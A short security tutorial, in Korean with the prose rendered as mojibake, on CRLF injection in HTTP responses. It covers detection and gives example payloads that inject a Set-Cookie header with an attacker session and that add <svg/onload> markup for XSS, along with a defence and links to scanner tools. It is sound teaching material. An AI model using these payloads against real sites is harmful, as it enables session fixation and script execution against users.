๐ Introduction
CRLF Injection์ Carriage Return Line feed Injection์ ์ฝ์๋ก ๊ฐ ๊ฐํ๋ฌธ์๋ฅผ ์๋ฏธํ๋ CR(\r) LF(\n)์ ์ด์ฉํ์ฌ HTTP Request ๋๋ Response๋ฅผ ๋ถ๋ฆฌํ์ฌ ๊ณต๊ฒฉ์๊ฐ ์๋ํ ๋์์ ์ํ์ํค๋ ๊ณต๊ฒฉ ๊ธฐ๋ฒ์ ์๋ฏธํฉ๋๋ค.
- | Name | ASCII Code | URL Encode | Char |
---|---|---|---|---|
CR | Carriage Return | ASCII 13 | %0D | \r |
LF | Line Feed | ASCII 10 | %0A | \n |
๐ก Offensive techniques
Detect
XSS์ ๋์ผํ๊ฒ HTTP Request ๋ด ์ฌ์ฉ์ ์
๋ ฅ์ด Response์ ๋ฐ์๋๋ ๋ถ๋ถ์ด ์ฃผ์ ํฌ์ธํธ์ด๋ฉฐ, Request์์ \r\n
์ฆ %0d
, %0a
๋ฅผ ์ด์ฉํ์ฌ ๊ฐํํ ์ ์๋ค๋ฉด ์ทจ์ฝํ ๊ฒ์ผ๋ก ๋ณผ ์ ์์ต๋๋ค.
Request
GET /redirect?location=/abcd%0d%0a1234
Response
HTTP/1.1 200 OK
Location: /abcd
1234
Exploitation
Add cookie
CRLF Injection ๊ตฌ๋ฌธ์ด ํค๋์ ๋ฐ์๋๋ ๊ฒฝ์ฐ ์์๋ก ์ฟ ํค๋ฅผ ์ฝ์ ํ ์ ์์ต๋๋ค.
GET /redirect?location=ws://%0d%0aSet-Cookie: session=attackersessions;
HTTP/1.1 200 OK
Location: ws://
Set-Cookie: session=attackersessions;
XSS
CRLF Injection ๊ตฌ๋ฌธ์ด ํค๋์ ๋ฐ์๋๋ ๊ฒฝ์ฐ \r\n\r\n ๊ณผ ๊ฐ์ด ๋๋ฒ ๊ฐํํ์ฌ Response body ์์ญ์ ์์๋ก HTML ์ฝ๋๋ฅผ ์ถ๊ฐํ์ฌ XSS์ ๋์ผํ๊ฒ ์ฌ์ฉ์ ๋ธ๋ผ์ฐ์ ์์ ์คํฌ๋ฆฝํธ๋ฅผ ์คํํ ์ ์์ต๋๋ค.
GET /redirect?location=ws://%0d%0a%0d%0a<svg/onload=alert(45)>
HTTP/1.1 200 OK
Location: ws://
<svg/onload=alert(45)>
๐ก Defensive techniques
์ฌ์ฉ์ ์ ๋ ฅ ๊ฐ์์ CR(\r)LF(\n)๊ฐ ์ค์ ๊ฐํ๋์ด ๋ฐ์๋์ง ์๋๋ก ์ ํํฉ๋๋ค.
๐น Tools
- https://github.com/MichaelStott/CRLF-Injection-Scanner
- https://github.com/hahwul/dalfox (BAV์์ CRLF Injection์ ์ฒดํฌํด์ค๋๋ค)
- https://github.com/rudSarkar/crlf-injector